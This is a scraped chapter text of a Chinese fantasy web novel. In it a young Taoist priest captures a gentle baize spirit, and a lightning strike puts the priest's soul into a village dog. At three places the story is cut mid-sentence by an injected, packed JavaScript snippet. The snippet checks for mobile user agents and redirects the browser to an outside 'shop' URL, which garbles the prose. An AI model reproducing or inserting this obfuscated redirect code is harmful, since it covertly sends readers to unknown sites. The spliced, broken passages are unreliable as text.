《道长怎么变成小狗了》 1. 救命啊!杀妖啦! 这是一个夜黑风高的夜晚…… 不不不,这是一个夜不怎么黑,风也不怎么大的晚上,甚至月亮就在自己头顶的树梢上挂着。 那么大,那么圆,那么亮,亮得人心里很宁静,不敢干亏心事。 闻灵在心里纠正着自己修辞,可还是没有办法掩盖自己内心的凄凉。 哪里来个人给他说说呢?这到底是个什么道理呢? 明明自己下午还在自家院子里,躺在躺椅上,晒太阳睡午觉,好不惬意。 怎么一睁眼就是在这荒郊野岭吹冷风呢? 还是被人绑在树上吹冷风…… 闻灵动了动身子,只挪动了一下自己身体和大树接触的面积。他艰难地在绳索里转动着身子,想要换个更舒服点的姿势被绑着。 可下一秒,绳子便紧紧地收缩住了,甚至比之前更紧,闻灵感觉自己差点一口气就要没喘上来。 远处漆黑的树林里传来落叶枯枝被踩断的细碎声响,一个穿着道袍的年轻人抱着一捆柴来到了闻灵身边。 闻灵赶忙冲着年轻人,挥了挥自己全身上下唯一能动的脚:“嘿,小师父……” 小师父抬头看了他一眼,又低下头去准备生火。 闻灵低头看着这个智能手机时代,穿着传统道袍,古法生火的小道士,感觉自己真是见鬼了。 当然,碰到一个能把他捆住的绳子,那更是见鬼了! 他是谁? 堂堂白泽! 虽然他疏于修炼,三天打鱼两天晒网,每天吃了睡,睡了吃,吃饱了晒太阳,睡饱了看小说…… 但是,他是白泽! 不管怎样,修炼上千年的功底在这里,怎么今天就让个小道士给抓来了?这小道士知道他是谁吗?怎么就抓了他来了…… “小师父,你为什么要抓我呀?这山上好冷啊,我们有时候去我家说好吗?我家就在这附近。”闻灵开始怀念自己温暖的被窝。 “我为什么抓你?明知故问,你个妖精,事到如今了还想骗我。”小道士已经生起火来了,火光映在他眼底,炯炯有神一双眼,看着闻灵,像是要把闻灵给烧穿来。 “……我是妖,但我是好妖啊,你是看着我干了什么了,要把我给抓起来?” 闻灵说这话是摸着良心的,他修炼千年,一直踏踏实实做妖,从不杀人放火,而且为了照顾人类,他每隔十几年就重新买房,换个地方住,从不多打扰人类。 如今他住的这个王家村,民风淳朴,邻里和睦。他每天早上哥哥姐姐们好,下午弟弟妹妹们好,人际关系处理得十分恰当。 另外他还自己种了个小菜园,每天就施点法术,好让菜都快快长大。 他就每天吃着家里绿油油的蔬菜,买着村口王二家的肉,从来不吃外面什么乱七八糟的东西。 闻灵觉得,做妖做到自己这个份上,到底还有什么不对的呢? “你说你是好妖,你就是了?”小道士质问。 “那你是因为看到我干坏事了,才抓我的?”闻灵更无辜。 小道士哽住了一下:“……没有,但妖的话都不能信。” 说完,小道士就翻了个面坐着,背对着闻灵。 闻灵看着小道士的背影,叹息一声。 油盐不进的小古板! “我们这山上可不让你这样随便生野火的,破坏生态,小心我报警来抓你。我们村离林业局可近了,我和你说。”闻灵凉凉开口道。 小道士身形一顿,转过身来,冲着闻灵伸出手。 闻灵心中立马警铃大作,虽然他是白泽,虽然他功底厚,但现在就这么绑着任人宰割也不是闹着玩的! “干什么啊?!你可别乱来啊!我可要喊人啦!” “啊——” “呼”的一声过后,四周陷入了一片黑暗。 闻灵把没有喊完的“啊啊啊!”收回了嗓子里。 四周静悄悄的,似乎只有他刚才喊叫的回音从四面八方的黑暗里传回来。 小道士把火熄灭了,闻灵现在只能闻到柴火熄灭之后的烟味。 好吧,还是个较真的小孩。 林间一阵风穿过,扬起道士被黑夜染上墨色的衣摆。 夏天,人出门肯定不会穿多少衣服,但夏天的山上冷起来也不是开玩笑的。 闻灵又叹了一口气,他都不记得自己多久没叹过气了,但他这一天好像就叹了两次气。 “小师父,要不还是去我家吧,在我家不用开空调,也不用烧火堆,我们坐着聊吧。你看这山上多冷……” 闻灵话音未落,山上的风便就更大了,似是风雨欲来。 “谁要去你妖怪的家里坐。”正义之火在小道士脸上熊熊燃烧,他的掌心张开,是一团火苗被他拢在手中。 他轻轻一挥手,火苗便又回到了那堆木柴之上,想必他刚才也是这么把火给收走了。 木柴重新燃烧了起来,可现在风大了,火焰被风撕扯着,苦苦挣扎。 闻灵自己这回真是碰到了个倔种,认死理,不懂得变通。 他要真想害人,在人左脚踏进自己院门的那一刻,就该给人踹到西天去,现在哪里还有这么多麻烦! 对付榆木脑袋,讲理是没有用的,讲武…… 闻灵现在倒也是想和人比比拳脚再讲讲道理,可是身上的绳索看着普普通通一根麻绳,时不时就会有金光咒文在其中闪动,牢牢束缚住他的身体和法力。 是个有点来头的东西。闻灵搜刮了一下自己的记忆,能有这种宝贝的人也没几个。眼前这个年轻道士估计也就是他们的后人。 哈哈,现在的年轻人都这么有来头了吗? 哈哈,可不是嘛,没点来头怎么敢绑白泽的,哈哈。 面前的年轻人看着才不过二十岁不到的年纪,脸颊上还带着点稚嫩,俊郎的五官因为年纪,还没有完全修炼成形,带着些柔和的弧度。 闻灵看着眼前这人纯良的模样,怎么也想不通这人为什么会这么不分青红皂白地就把人……啊不,妖抓来呢?! “小师父……”我是个好妖啊,我只是只白泽啊,我不吃人啊,我也不放火,不抢钱啊,放过我吧,我想回家睡觉,呜呜呜…… 闻灵话还未说出口,便听到小道士开口了。 小道士拨弄了一下柴火,火堆劈啪作响,闪现着火星,语气不咸不淡:“这个火是我控制好了的。” “嗯?哦” 闻灵不知道这小孩忽然强调一下自己操控五行的基本功是要干嘛,但出于鼓励孩子的角度,他还是说:“挺好的,真不错。” “……”小道士紧绷着一张脸,“我的意思是你不用担心我这火烧到别的地方去,我会注意的。” 闻灵听着这话,想到自己之前说要报警的话,把自己给想乐了。 “哈哈哈,你就怕我给你报警啊,我现在没手没脚地我用啥给你报警啊?” 小道士的脸色更不美妙了,但还是不得不跟人解释:“谁怕你报警了!我是怕你……” “怕我什么了?”闻灵的心情明媚了起来。 小道士的心情像吃了苦瓜:“怕……怕你,我不怕你!你爱干什么干什么去吧。” “哈哈,我现在可什么也干不了,你要我爱干嘛干嘛去,那好啊,你快点把我给放了,你知道我是什么妖吗?” 我可是个好妖! 半句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405204|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡在闻灵嘴里没说完,就看到小道士在正义之路上奋勇前进了快大半个晚上的神情忽然出现了凝固,一种尴尬的凝固。 闻灵想,不会吧…… 小道士沉默了片刻,还是很坦诚地说:“我不知道。” …… 闻灵感觉自己的妖生都裂开了。 感情您不知道我是啥玩意,就把我给抓了啊!? 闻灵感觉自己活了千年,阅人无数,还是第一次见到这么不讲理的臭道士。 可没想到人还有更过分的。 小道士:“知道又如何?不知道又怎样?不管你是什么妖,你都是妖,都是要被打回原形,就地正法的。” “……” 好偏激的思想,好极端的行为。 面对这种不通人性,不分是非善恶的后辈,闻灵也少了几分耐心。 “那你的意思就是是妖就该死?那这妖做什么了就该死?什么也没做也该死?”闻灵的语气锐利了几分,但也还算得上和缓。 小道士的语气却是陡然间陡峭了几个度。 “你说没做就没做?谁知道你们有没有在用法术骗人?等知道你们说的是真话假话,那人也早已经死光了。” “那你也不能……” “你不要说了!” 闻灵被小道士陡然拔高的音量吓了一跳,嘘了声。 可过了一会,小道士脸色疑似闪现的红光退去之后,小道士忽然抬起眼来,用一双明亮的眼睛看着闻灵,语气很悲哀地说:“好妖或许是有的,但我不信。” 说到这,小道士的目光投入了远处的漆黑林间,似乎是在一片茫茫的夜色中追忆起了什么,脸色的神情霎时间变得有些阴沉。 “我是道士,你是妖。我们狭路都不应相逢。既然碰见了,那我没有不收妖的道理。如果你真的有什么冤屈,仅凭你一张嘴,我又能看出什么真假来呢?” 闻灵确实拿不出什么证据来,毕竟评判一个“好妖”的标准,或许和评判一个“好人”标准差不多。 见闻灵沉默不语,小道士便又开口,似是安慰道:“如果有来生这种东西,那便不要做妖吧。或许人都不要做,做个山野里的牛羊,花草树木都是好的。” “……”闻灵听着这话心里有些不是滋味,“我觉得我这辈子做妖挺好的。没有下辈子投胎做什么的想法,我只想好好过这辈子。” 小道士点点头,凉凉地说:“但可惜你这辈子应该是已经到头了,还是好好想想下辈子吧。” “……我这是怎么了就要去黄泉了?” 小道士站起身来,抬头望月:“午夜时分,我送你走。” “……” “……” 这小子是认真的?! 闻灵后仰着身子,完全放松地靠在了树上,看着眼前人围着树开始画法阵。 闻灵深吸一口气,开始大喊:“有没有路过的啊!这里有人疯啦!有路过的就来救一下啊!” “救命啊!” “救救我啊!我已经想好明天午饭吃什么了!我还不想死啊啊啊啊!” “你能不能安静一点?”小道士停下画法阵的木棍。 “哦,”闻灵停下他没有一点泪光的哭喊,“那你是要我死,又不准我怕死吗?你原来不怕死的吗?” “人都会死的。”小道士只是这样说了一句,便重新弯下了身子画法阵。 闻灵继续没命地喊叫了起来,谁知道有没有用呢?万一有好心妖路过,看不下去呢? 虽然闻灵也知道自己的同族们要么杀人如麻,要么事不关己,但是他还是希望唤醒潜在的妖德的。 “有没有妖啊!有人要杀妖啦!” 2. 路边一条狗 荒郊野岭。 虽然闻灵推断就是自己家院子的后山,但王家村大部分人都住在村口那块,像闻灵这样住在大山脚下的根本没几户。 闻灵想,现在真就像电影里演得那样,喊破喉咙也不会有妖来救的。 闻灵没有想到自己漫长的妖生就要终结于这样一个夜晚。 小道士法阵一圈一圈画得认真,看得出来是跟师父好好学了的,也看得出来是要下血本灭了他的! 什么法器啊,朱砂啊,符纸啊,全都不要命地用!生怕搞不死他一样! 闻灵徒劳地又挣扎了一下,可惜没有用。 这绳索可真是个大宝贝,到底是哪个人才留给自己徒子徒孙了?怎么没想着带进墓里去? 闻灵在此刻搜刮着记忆里的那几个人,寻找着可疑目标。说起来大家当年都是一起喝过酒,煮过茶的关系呢,怎么到了徒弟这就成这样了? 真是世风日下! 徒弟拿着个宝贝,道行不够,妖都分不清是好是坏,就来灭妖了。 真是师门不幸! 你们几个老家伙,要是哪个生气的话,就快点从棺材里爬出来救我,我还年轻,我还不想死! 呜呜呜爸爸妈妈,我今年过年一定回家! 呜呜呜哥哥,我一定把吃了你的游戏机全部吐出来呜呜呜 闻灵无声地在心里呜呜呜了几下,嘴巴上也故意发出“呜呜呜”的声音来让人听见。 小道士抬起头来看了他一眼,观察了一下,发现他没有真的流眼泪,便又很快把头低下。 闻灵“呜呜”得更大声了,管他有没有眼泪,他就是不想让人好过。 月明星稀,午夜时分,皎洁的满月从乌云里露了出来,刚刚还一派风雨欲来,现在却又好像万事太平了。 闻灵想真是老天爷都在和自己作对,满月……满月!多么好的施法条件! 看来自己今天真是不死不行了。 闻灵坦然地闭上了眼睛,本来就很安详的一张脸,此刻看上去更像是安详得要睡着了,而不是要死了。 林间的微风刮起道士的衣摆,月光穿过树枝,和树影一起映在道士古朴的天青色道袍上。 道士运转功体,周围的空气开始按照法阵的方向流动,法阵的世界内,细微的变化开始发生。 闻灵感觉自己的意识开始变得有些昏沉,或者说自己的意识正在被夺走,被人夺走丢到太虚去,彻底死寂下去。 闻灵的求生本能抗拒着这种掠夺,可他自己与生俱来的躺平性格,又在让他放弃挣扎,更平和地接受这一切。 哎,反正是人是妖都是要死,死了之后尘归尘土归土,很简单的一件事情! 活了一千多岁了,这有什么的? 只不过…… 只不过就这样被一个初出茅庐的人类道士给办了,自己多少有点不服气吧。 来啊!我们打一架啊!打赢了再让你杀! 哎,可是现在也没这机会了。 哎,早知道不让人进自己家门了,不然哪来的机会捆自己的? 哎,看着多善良一孩子,怎么这么偏激呢?如果这回真死了,一定要问问那几个老家伙是怎么教徒弟的,这么好一徒弟,给教歪了。 哎…… 阵法运转,风云涌动。 闻灵渐渐平静了下去,感受着树叶的沙沙声,感受着风流淌过他的身体。 自己的原形就快要显出来了,不知道会不会吓死这小子。 哈哈,自己这是在想什么呢?要死的是自己。 怎么好像还有狗叫?哪里来的狗? 闻灵来不及多细听。 忽然间,风停了,云不动了,一道惊雷带着闪电从天空划过,直直往他们这里劈来。 “小心!快点退出法阵!”闻灵睁开眼大喊,可已经来不及了。 小道士很明显已经功体逆行。 捆着闻灵的绳索松了,电流扫荡整个法阵,噼里啪啦一阵响,闪着红光。 闻灵活动了一下被捆久的身体,眯起眼,抬头去看远处的云层,估计又是有谁在搞什么高深的修炼了。 闻灵又低头看了眼倒在地上的年轻人,叹了今天不知道第多少口气。 哎,殃及无辜。 闻灵走过去把人甩到了背上,准备把人先带回家。 虽然这个人确实上一秒还在给他处理人生大事,但他确实也不太计较。 所以,救你一命吧,小道士! 顺便让你看看什么叫做将心比心!爱的感化! 闻灵边在心里编排等会到了医院,这人如果醒了,自己要如何教育一番,边悠闲地往山下走去。 背上人呼吸平稳,一时半会肯定死不了。 闻灵一边运转法力,探知人身上有没有哪里受伤,一边又东看西看,注意到了路边的一团黄色物体。 天太黑,但并不妨碍闻灵看东西。 他一眼就从那熟悉的样貌,毛发,认出来这就是他们家大黄啊! 这样一想,刚刚的狗叫声肯定就是大黄在叫他。 闻灵忽然很感动。 大黄是村里散养的狗,大家一起养着,谁家看到它了,手里有吃的,那就喂上一口。 闻灵自觉是喂大黄最多,最溺爱大黄的。别人家都是给大黄自己不吃的东西,只有他是专门给大黄弄好吃的。 可他也没想到大黄竟然这么晚了还上山来找他! 真是绝世好狗! 闻灵把道士丢到一边,蹲下来抚摸起大黄来。 “大黄~可爱的大黄~你今天回去想吃什么呢?我都给你做!” 大黄是一条体形匀称的黄色小土狗,毛发并不长,但摸起来还是很舒服,热乎乎又软乎乎的。 闻灵的手在大黄的脖子上和头上来回打转,可大黄竟然怎样都没有反应。 闻灵开始觉得事情不对头了,他把狗翻过来,发现狗舌头都已经从狗嘴里翻了出去。 “大黄?!你怎么了?大黄!” 想到刚刚的天雷,闻灵心里一惊,怕是大黄当时靠得太近,被法阵扯进来,让雷给劈了一下。 闻灵开始探查大黄的心脉,但还未等他探查到。 大黄便一个大喘气,扑腾着四条狗腿站了起来。 大黄满狗脸的惊疑未定,闻灵赶忙上前去想要摸摸狗头,安抚一下,却被大黄火速躲开。 一人一狗对视片刻。 不对……这个眼神…… 闻灵想,他的大黄的眼睛是滴溜圆的,透着一股纯良小狗的单纯气息。可现在这个大黄……他怎么感觉眼型都有点变了? 这不对…… 这个眼神! 闻灵正想要抓起一条狗腿再探究一番,狗便撒开腿跑了,跑向他一开始丢在路边的小道士的身体,嘴里还不停着喊着“汪汪!” 当然在别人耳朵里可能是狗在叫,但在闻灵耳朵里那可就不是这么一回事了。 闻灵听到: “别碰我!” “我怎么躺在那里!你想对我干什么!” “汪汪!我怎么变成狗了!你对我干了什么!?” 可能是变成了狗的原因,从狗嘴里发出来的声音有些细微的变化,但闻灵还是听得出来…… 这个声音!没错! 闻灵简直就要乐开了花。 老天有眼!现世报来了! “哎呦小道长,你怎么变成小狗了?啊哈哈哈!”闻灵幸灾乐祸起来。 变成大黄的小道长很愤怒,狗叫着不停。 “你快点把我变回去!听到了没有!” 闻灵摆摆手,很无奈:“不是我干的,我也没办法,大家就此别过,各自安好吧。” 闻灵说完就要往山下走去,脚步飞快。 “汪汪!你不准走!给我回来!” 高高在上的人类小道长变成了路边一条狗,但气势不减分毫。变成了狗之后,更是加倍张牙舞爪,紧追着闻灵不放。 “汪汪!你给我停下!” “汪汪!你快点给我回来,我人还在山上呢!” “汪汪!你不能就这么走了!” “汪汪……汪汪……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405205|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小狗道士一路追着闻灵到山下,走到村里的大路上去。 清晨时分,天刚刚破晓,但已经有些勤快的村民起床要出门干活了。 闻灵和路上碰到的村民们都打了句招呼。而村民在笑着应过他之后,眼神都会不由自主地转向他身边这个狗叫个不停,样子很明显有些癫狂的大黄身上。 闻灵低下头来,看着这个叫了一路,很明显累了,但自己不知道累了的道士狗。 他蹲下来,一把抓住他开开合合的狗嘴,闭起来。 狗的身体一下子紧绷了起来,闻灵便又顺着狗毛上下顺了几下。 狗的身体便又放松了下来。 闻灵很是和颜悦色捧着人的狗头说::“大黄,你今天怎么了?见到大家这么高兴?村里大家都是熟人呐,哈哈!” 又凑近人狗耳边说:“万一被当成疯狗,送去人道处理了怎么办呀?” 小道士瞪着一双狗眼,圆圆的,敢怒不敢言。 闻灵拍拍狗头,站起来。 “我们好聚好散,好吗?都说虎落平阳被犬欺,但你之前那样对我,我现在也没对你怎么样吧?更何况你现在这样也不是我造成的,我更不知道怎么把你变回去。” 说实话,闻灵是知道的,这种交换灵魂的情况,只要摆个简单的法阵就可以换回来了。 但是呢…… 闻灵不想弄。 首先,这小子害得自己很惨,本来应该继续度过平淡又幸福的一天的他,现在却从山上饱经折磨才重见天日。 其次,这小子害得自己心情很不妙…… 哼哼,总之,他是不会多管这个闲事的。 另外,想到交换灵魂之后…… 哈哈,小道士要过上四肢着地的日子,而大黄则要过上两足行走的日子! 哎呦,我的大黄,不知道你的小脑袋能不能适应,如果还是要四只腿走路的话,那……哈哈! 小狗看着闻灵脸上逐渐放肆的表情,一团火在他漆黑的眼珠子里烧了起来。 “汪!”小道士一口咬住了闻灵的裤腿。 “哎,你干什么呢?我这裤子别人送的,很贵的。”闻灵费劲地甩着腿。 小道士摆出了势必要把闻灵裤腿扯下一块来的架势。 闻灵心疼自己裤子,只好放弃挣扎,就让人咬着自己裤脚。反正都粘了泥巴,狗不嫌弃,狗愿意咬就行。 “你追着有什么用呢?我都说了我也没办法,怎么你什么话都听不进去?”闻灵折腾了一晚上,妖已经累了,干脆拖着一条腿,直接坐到了路边的石墩子上。 “你稍微等等,等个十天半个月的,你那不知道哪门哪派的师父肯定能知道不对劲,这不就出来找你啦。你师父你肯定放心吧,到时候事情不就解决了?你现在在这里和我急什么呢?你从哪个方面觉得我会帮你?”闻灵想到昨晚那一遭,诚心发问。 裤脚边的狗嘴松开了,闻灵瞅了眼,真是好大一个狗嘴印子。 算了,旧的不去,新的不来。 闻灵站起来,拍拍屁股上的灰尘,准备走人。 临走的时候,出于对大黄身体的关怀,闻灵多看了一眼。 这多看一眼不要紧,一看就猛击了一下闻灵的良心。 小道士趾高气扬,在正义的道路上勇往直前的头颅低了下去。 再怎么倔强的神情,在大黄这样一张朴实的狗脸上,都要黯然失色,耷拉着耳朵,染上一点儿委屈巴巴。 小狗追了一路,从山上追到山下,把山间的露水全沾了个遍。此刻浑身的毛发湿漉漉的竖起来,乱糟糟的,毛发的末尾还粘着一点泥巴。 要可怜有多可怜。 闻灵的良心不受他控制地抽动了一下,他想到人身体还在山上放着,要是吓到路过的人了,那可不好。 闻灵原地踏步了两下,终究还是往回走了。 走了几步发现小狗竟然还站在原地,只好冲人招招手。 “嘬嘬嘬,”闻灵展示口技,“小狗我们上山吧。” 闻灵看着小狗的耳朵,又重新竖起来了一点。 3. 求人办事要有态度 上山的路,要轻松很多,因为闻灵偷懒,使了点小法术。 反正现在山上人少,树也密集,大不了就被人瞧见了当成大飞鸟。 一人一狗走一段路,闻灵便牵起那条不情不愿的狗腿,带着小狗一个树枝飞到另一个树枝,飞一段,再走一段。 到了地方,小道士的身体还安安稳稳地躺在那里。就是山上湿气重,小道士的衣裳已经吸饱了水,深了几分颜色,沉沉地贴在身上,显得小道士整个人有些了无生气。 闻灵远远地看着,便觉得有些不太对劲。 走近了一看,果然,这已经成了一具尸体了。 闻灵看着狗爪子搭上了面前的这一具躯体,想必小道士现在也知道自己现在是个什么情况了。 这不是灵魂互换,眼前这个身体里,没有承载任何灵魂,什么也没有,只是单纯的一个躯壳。 那大黄的灵魂到底是去哪里了? 按理来说,一体一魂,灵魂不可能凭空出现,更不可能毫无理由地消失。 自己背着这个年轻人下山的时候,人都还是有呼吸的,这说明那时候身体里至少还是有魂在的。 那是什么时候? 闻灵想到了自己路过大黄,把人给放下的时候…… 一体一魂是没错,灵魂不会随便消失也没错,但是灵魂作为灵体是有强弱之分的。 小道士作为一个修士,灵魂怎么说都是要比大黄这个小狗的要强的。 所以…… 闻灵沉思片刻,便伸出手,一把捞过自己身边的悲伤狗头。 狗头无力地嚷嚷了一会,终于是不动了,因为他察觉到了闻灵正在干什么。 在大黄此刻的身体内,闻灵感受到了两个灵魂,其中一个占比很高,一个占比很低。 哈哈,一体双魂,有点意思。 情况很罕见,但想到那个颜色同样罕见的天雷。闻灵觉得大力出奇迹,小道士的灵魂被雷劈出来,又赶忙遵循本能给自己找个能用的容器,然后一不小心挤进了人家大黄的屋子里。 这也不是没有可能,无巧不成书嘛。 那也真的是更麻烦了。 挤在一个容器里的灵魂,就像两杯看起来一样,但实则构成很不一样的液体。放在一个杯子里不会完全混杂在一起,但也不容易找出分界线,来把他们分开。 “你这情况有点麻烦了,我也爱莫能助,要不你还是趁现在时候还早,早点回去找你师父吧。”闻灵的良心在巨大的麻烦事面前退缩了,他拍拍屁股,想要再次走人。 小狗也再一次从屁股后面跟了上来,只不过这回不吵也不闹了。 闻灵的良心再一次隐隐作痛了起来。 “哎呀!”闻灵心一横,转过身来大喊一声,“你这小狗怎么这么黏人啊!都说了我不行了!” 小狗的表情在听到“黏人”那个词的时候,似乎被人当头一棒,产生了莫大的屈辱。 小狗屁股一扭,往回走了。 闻灵知道是自己看着大黄的狗脸一时嘴快,对人用错了词,但话已出口,只能尽快找补。 “……怎么就生气了?”闻灵支支吾吾,“呃……我不是那个意思,我不是……山上这么冷,你先去我家坐坐,我送你去找你师父,这总行了吧。” 小狗凶狠地把头一扭:“就你也配见我师父!” “……” 闻灵的良心上上下下,几番波折,终究还是走了回去,把人扛在身上,带回了家。 毕竟生物层面上来说,现在这真的就是个尸体。 要是放在夏天山上,不用几天人都要臭了。 为了保护本村美好的风土人情,闻灵毅然决然地把尸体扛回了自己家。 “唐不功……” “哟,你还是个大学生呢!” 闻灵下山的时候,顺手把小道士的东西全都打包带了下来。 他现在正在把被雷劈黑了的东西全部丢掉,被泥巴弄脏了的东西全都洗干净。 于是就这样从人背包里翻出了焦黑了一半的学生证。 证件照部分焦黑,但人就躺在自己边上,想看就能看,倒是不影响。 “北城大学,这么厉害的嘛。”闻灵由衷地夸赞道。 唐不功表面不动声色,但他的狗尾巴已经摇摇晃晃地出卖它了。 呵呵,闻灵想,唐不功现在可是和狗共处一室。 那到底是人性战胜狗性呢?还是狗性战胜人性呢? 那就不好说了。 闻灵洗完东西炒了几个菜,又蒸了一个鸡蛋羹,放到唐不功面前。 “快点吃,吃完我们就出门。”闻灵边说边往自己碗里夹了一筷子辣椒炒肉。 新鲜摘的辣椒,香喷喷! 狗嘴在饭盆边一动不动,闻灵想了想,从自己碗里夹了非常小的一筷子放到狗碗里去。 “吃吧,你现在是狗的身体,可不能乱吃人的东西。之后你可是要把身体还给大黄的呢,可别破坏狗身体。” 唐不功还是不吃。 闻灵又咀嚼了几口饭菜,终于琢磨出味来。 他火速吃干净剩下几口饭,把碗筷放到厨房水槽里去,又从碗橱里拿出一个勺子来。 闻灵把唐不功抱到凳子上,端起饭碗来,用勺子把鸡蛋羹送到狗嘴边,“啊,张嘴。” 狗嘴终于动了,不过是抽动了两下。 “你刚刚才当狗,肯定不习惯和狗那样吃饭,是我考虑不周,但你现在一个狗爪怎么拿筷子?所以我喂你吧,来,啊~” “不必了,我自己会吃饭。”唐不功终于开了尊口,又从凳子上蹦了下去,重新回到了自己的饭盆边上,吃了起来。 好吧…… 闻灵想这人可真是讨厌妖,吃个饭连人都不做了,虽然现在本来也就是狗,哈哈哈。 唐不功吃得慢条斯理,让闻灵第一次在吃饭的大黄身上看到了“斯文”二字是怎么写的。 “你师父在哪?”闻灵问 嚼嚼嚼—— 唐不功又不说话了,似乎是在细品那什么都没放的鸡蛋羹。 “这个你总要说吧?你都在我家吃上饭了,我还能拿你怎么样呢?光天化日之下,我总不会宰了你。” 闻灵现在忽然体会到了村口王二的心情。 人家是怎么劝自己八十岁老父亲不要乱买保健品的,他现在就是怎么劝唐不功动一动狗脑,开一开狗嘴的。 “你不说,难道我们就这样等你师父来吗?你这身体现在可等不起,放久都要臭掉了,这十里八乡的到时候闻到了,我们就要上新闻,上新闻了,那就是声名远扬了。不过也好,上新闻了,你师父肯定也就知道了。” 唐不功终于给了点反应,瞪了他一眼。 闻灵给他瞪了回去:“赶紧吃你的鸡蛋羹!” 话是说得这么吓人,但其实闻灵一回家就在唐不功的身体上施了法,别说这几天,就是放一百年也不会臭了。 唐不功肯定也看出来自己身体被施了法的,所以肯定也知道他是在开玩笑。 那都这样了,还不能证明自己是个好妖吗? 还在怕自己好吃好喝地给他,然后把他给杀掉吗? 妖怪杀人? 这年头很少见了吧? 话说,这年头穿着道袍的道士在野外瞎逛也很少见。 这人到底是哪个山沟沟里跑出来的? 不知道这年头是法治社会,不允许妖怪杀人,也不允许道士随便乱开法阵吗? 哼,还大学生呢,这么善恶不分! “你不说,我们就真不去了啊,你要当狗多少年,我可就不知道了。”闻灵继续吓唬。 唐不功碗里的蛋羹都快吃完了,也还是不说话。 闻灵都要无奈了:“你都吃了我的用了我的,再多告诉我一句又如何呢?总不会还不好意思吧?” 不好意思…… 闻灵忽然间察觉到了一丝微妙的情绪。 他嬉笑了起来,看着唐不功,问:“你不说,不会是不好意思这样回去见你师父吧?” 唐不功抬眼看他,任心里惊涛骇浪,面上仍旧风平浪静。 闻灵想,哈哈,说对了。 “这有什么不好意思的,你师父老人家看到你变成小狗了,抱抱你这条小狗还来不及呢。别害羞,我们赶紧回去抱抱你师父老人家。”闻灵哈哈大笑。 唐不功好心提醒:“你就不怕我师父灭了你?” “你师父?这世上能灭我的人可不多。”闻灵很自信。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405206|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但唐不功很明显不信,他的眼神飘到了闻灵放得远远的拘林索上。 闻灵也察觉到了他的目光所指,不自在地咳了几声:“这算是精准打击吧,概率很小的。” “所以我大概知道你师父……”唐不功看向闻灵,闻灵顿了一下,继续说道,“的师父的师父的……呃……是谁……懂了吧?” “所以你可以信任我,知道了吗?”闻灵循循善诱。 唐不功油盐不进:“那你的意思是,我的师祖拿这个东西抓过你?” “……” 闻灵怒了:“什么拿这东西抓过我?!我是说我见过这东西好吗?谁和你一样这么没礼貌,到处拿这东西抓人?!拿这种东西捆过我的只有你好吧?!” 从昨晚到现在,发生了那么多事情,闻灵都是笑眯眯的,一副春风和煦的模样。 忽然大声说话,可能真的会吓人一跳。 唐不功呆了片刻,才小声地支支吾吾起来:“我……没有到处抓人……妖,我拿这东西抓的第一个妖就是你。” 合着自己是幸运观众了呗,闻灵愤愤地想,自己主动抽奖还真一次都没中过呢。 “那你说声对不起吧,”闻灵给人台阶下,“说声对不起我就原谅你。” “我……没有做错什么,我出来就是为了斩妖除魔的,”唐不功梗着脖子,头铁地说。 “是呢,斩妖除魔,变成狗了。”闻灵讥笑一声。 唐不功:“……” 闻灵:“你说斩妖除魔,你是道士,说这话没错。但你要知道,你是要斩什么样的妖除什么样的魔。你师父难道就教你仙家法术了,别的什么一点也没教?那我真是要好好见见你这个师父了。” 唐不功赶忙大声澄清:“别的师父当然教了我别的了!”声音又渐渐小了下去,“教了我很多。” “哦,那就是你不听了。” 唐不功不置可否。 闻灵继续说:“师父领进门修行靠个人,你分不清什么好妖坏妖,可以慢慢来,但不要随便就灭了,好妖辛苦修炼得来的修为,就不要让人家白忙活了吧。” “那要是来不及分清好妖呢?要是我被妖骗了,害死了别人呢?明明我是有能力阻止这一切的。”唐不功问。 “嗯?什么?”闻灵想到唐不功昨天夜里在山上的那番话,就知道这人又绕回去了,剩下的话半句都没听进去。 闻灵头痛,想开口说两句,但又不知道该说些什么,毕竟这个问题听起来好像牵扯得甚远,不是个好回答的问题。 可这人又没头没尾地开口说:“我害怕。” “什么?怎么了?你怕什么?”闻灵不自觉地放轻了语调,像在哄怕鬼的孩子。他想到昨晚天雷滚滚,一道红色闪电劈下来,想必给唐不功留下了不小的阴影。 唐不功:“我害怕等不及我分出好妖还是坏妖,人就已经死了,我害怕。” “因为我师父说我很笨,学什么都很笨,所以在分辨好妖坏妖上,我肯定也是很笨的。所以我很害怕我来不及分辨,”唐不功深呼一口气,“而且妖?真的有好的吗?” 唐不功问得很真诚,闻灵觉得屋子里的气氛忽然沉重了起来。 他不好随便回答:“有的,有不少呢,当然坏妖也不少。和人一样,有好有坏。” 